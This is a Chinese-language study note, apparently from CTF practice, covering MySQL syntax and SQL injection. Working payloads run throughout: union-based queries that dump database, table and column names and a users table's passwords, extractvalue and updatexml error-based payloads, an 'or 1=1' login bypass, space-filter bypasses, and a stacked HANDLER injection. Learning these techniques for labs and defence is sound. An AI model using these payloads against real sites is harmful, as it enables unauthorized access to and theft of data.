0%

SQL注入

SQL基础命令学习以及一些基本的SQL注入

一个搞了一晚上的坑

使用SQLyog时连接不上出现1045错误,然后按照搜索出来的方法,打开PHP study关闭他的MYSQL在MYSQL文件内找到my.ini打开文件查找到 [mysqld] ,在其下方添加上一行 skip-grant-tables,然后保存。再重启MYSQL即可连接成功

命令行

– :注释
id=1’报错即为字符型注入
要找到注入点
order by 后面加数字
group by + 数字,确定列数

-1’ union select 1,database()# 前面的-1 空出回显位

表名

  • information_schema

SCHEMATA表,当前root中所有数据库的信息,一般用来查到表名
TABLES表:记录用户所有数据库名(TABLE_SCHEMA)和表名(TABLE_NAME)
columns表:提供表中的列信息
:::danger
首先确定注入点–>找到回显位置–>
:::

floor()报错

extractValue报错

?id=-1’ union select 1,2,extractvalue(1,concat(0x7e,(select database()))),3 –+

extractValue(列名,’/查询内容路径/‘)当斜号改成别的符号,就会报错执行回显

1
select extractvalue(doc,concat(0x7e,(select database())));

conccat拼接,0x7e是~的编译,extractvalue括号内的内容即为正常查询的内容,但是默认只返回32个字符
substring(内容,从哪个字符开始显示,一次显示几个字符)

?id=-1’ union select 1,2,extractvalue(1,concat(0x7e,(select database()))),3 –+

updatexml报错

updatexml(‘XML_document’,’Xpath_string’,’New_value’)
//即
updatexml(‘目标xml文件名’,’在xml中查询的字符串’,’替换后的值’)

1
and updatexml(1,concat(0x7e,database()),0)//select 语句需要用括号括起来

?id=1’ and updatexml(1,’~’,3) – a 判断是否为报错注入

SQL注入

数据库

  • information_schema

SCHEMATA表,当前root中所有数据库的信息,一般用来查到表名
TABLES表:记录用户所有数据库名(TABLE_SCHEMA)和表名(TABLE_NAME)
columns表:提供表中的列信息

命令

SELECT WHERE

语法
SELECT column_name,column_name(列名称)
FROM table_name(表名称)
WHERE column_name operator value;字段名称,数据满足什么条件类似if语句
(if(。。。。=。。
printf(…)

image.png

CREATE DEATABASE语句,创建数据库

在 MySQL 中,可以使用 CREATE DATABASE 语句创建数据库,语法格式如下:
CREATE DATABASE [IF NOT EXISTS] <数据库名>
[[DEFAULT] CHARACTER SET <字符集名>]
[[DEFAULT] COLLATE <校对规则名>];
[ ]中的内容是可选的。语法说明如下:
<数据库名>:创建数据库的名称。MySQL 的数据存储区将以目录方式表示 MySQL 数据库,因此数据库名称必须符合操作系统的文件夹命名规则,不能以数字开头,尽量要有实际意义。注意在 MySQL 中不区分大小写。
IF NOT EXISTS:在创建数据库之前进行判断,只有该数据库目前尚不存在时才能执行操作。此选项可以用来避免数据库已经存在而重复创建的错误。
[DEFAULT] CHARACTER SET:指定数据库的字符集。指定字符集的目的是为了避免在数据库中存储的数据出现乱码的情况。如果在创建数据库时不指定字符集,那么就使用系统的默认字符集。
[DEFAULT] COLLATE:指定字符集的默认校对规则。
image.png
创建完后刷新一下侧边栏才能看到

creat table 创建表

create 表名(
列名1 定义字段的数据类型 ,
列名2 类型,
列名3 类型)
一个简单的建表格式,其中:

  • 字符串类型(char,varchar)需要指定长度;
  • 整型(int,biging,tinyint等)和日期类型(datetime,timestamp等)只需要指定类型,不需要指定长度;
  • decimal类型需要指定精度和小数位数。

image.png

数据插入,增

1
2
3
4
5
INSERT INTO TABLE_NAME (column1, column2, column3,...columnN)
VALUES (value1, value2, value3,...valueN);
//table_name 表名
colimn 字段名
value 字段数据

写明column就会一一对应,没写就会按照顺序依次赋值
注字符要用单引号,否则会报错
image.png
这样就创建成功了使用select*from t1即可查看

1
2
DELETE FROM table_name//表名
WHERE some_column=some_value;//条件

用于删除表中的行
image.png

改,update

1
2
3
4
UPDATE table_name
SET column1字段名=value1字段数据,column2=value2,...//更改操作
WHERE some_column=some_value;//条件判断

image.png

and 和or 运算符

image.png
image.png
or语句,当判断结果为真就会全部查询出来,也就是万能钥匙
image.png

union多表联合查询

image.png
结果直接拼接显示, union可以对同一个表的两次查询联合起来
image.png
用来猜测字段

SQL注入

数字型注入

1
select * from t1 where id= x

x=1 or 1=1(万能密码)
x=1 union select 1,2,3…..(一个个尝试出字段)

字符型注入

1
select * from t1 where name= 'x'

x=1’ or 1=1 #—注释掉后面多出来的单引号

解题步骤

通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

  • 判断注入点(是否存在sql注入,如果存在属于哪种注入)
  • 判断是否存在漏洞( 最为经典的单引号判断法:在参数后面加上单引号, 如果页面返回错误,则存在 Sql 注入。
    原因是无论字符型还是整型都会因为单引号个数不匹配而报错。如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤)
  • 判断注入类型

GROUP_CONCAT()函数

将多个字符串拼接成一个字符串
image.png

联合查询

字段数->回显位置->查阅库名->表名->字段名->查阅数据

  • 查库名

SELECT DATABASE();– 能够知道当前在哪个数据库
select information_schema.SCHEMATA
查询所有库名:

‘ union select 1,group_concat(schema_name) from information_schema.schemata – ‘

-1’ union select 1,database()#

查表名

‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库的名称’#

1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+

查字段

‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’

查获取字段信息

‘ union select 1,group_concat(password) from dvwa.users – ‘

空格绕过

/**/
%09
%0a等,详情参考命令执行绕过

实操

– 注释符
#
/**/– 一般可以用来绕过空格
SHOW DATABASES; – 显示MySQL所有数据库名称
SHOW TABLES; – 显示当前数据库中所有表的名称
SHOW TABLES FROM sys; – 作用同上 from后面加数据库名
– use 数据库名 如果数据库存在,选择进入该数据库
USE mysql;
#select 查询数据,展示
SELECT DATABASE();– 能够知道当前在哪个数据库
SELECT VERSION(); – 查询当前数据库版本,知道存在的漏洞
SELECT USER(); – 查询用户名
# *代指所有的意思
#SELECT 列名称,列名称 FROM 表名称 – (从表中读取几列)
SELECT *(即所有的列) FROM TABLES;
SELECT TABLE_CATALOG FROM TABLES;
SELECT * FROM SCHEMATA ;– 当前root中所有数据库的信息
SELECT * FROM COLUMNS – 能够看到属于哪个表,哪个数据库

截断函数

位数不足,需要使用截断函数进行绕过
substr,right,REVERSE ,mid函数
SUBSTR (str, pos, len)
参数说明:

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度。

RIGHT(string, number_of_chars)从右侧开始读取,前一个为字符串,后一个为读取的字符数量
REVERSE(string)反转字符串
MID(string, start, length)中间为从第几位开始,最后为读取的数量

堆叠注入

堆叠注入原理:利用分号作为结束符,执行多条语句
首先判断注入类型
image.png
为字符型
image.png
判断长度为2
image.png
select被过滤,结合题目,尝试堆叠注入
image.png
用show tables产看当前数据库的表名
之后再用show columns form+表名``查看每个表里面的字段名
image.png
由于select被过滤了,大写无法绕过,因此换用另一种方法来读取内容

handler(句柄)

类似于指针,通过得到的表名,读取表的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
#打开句柄
handler handler_table open;
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
# 关闭句柄
handler p close;
p指代表名

payload
?inject=-1';handler 1919810931114514open;handler1919810931114514read first; --+
image.png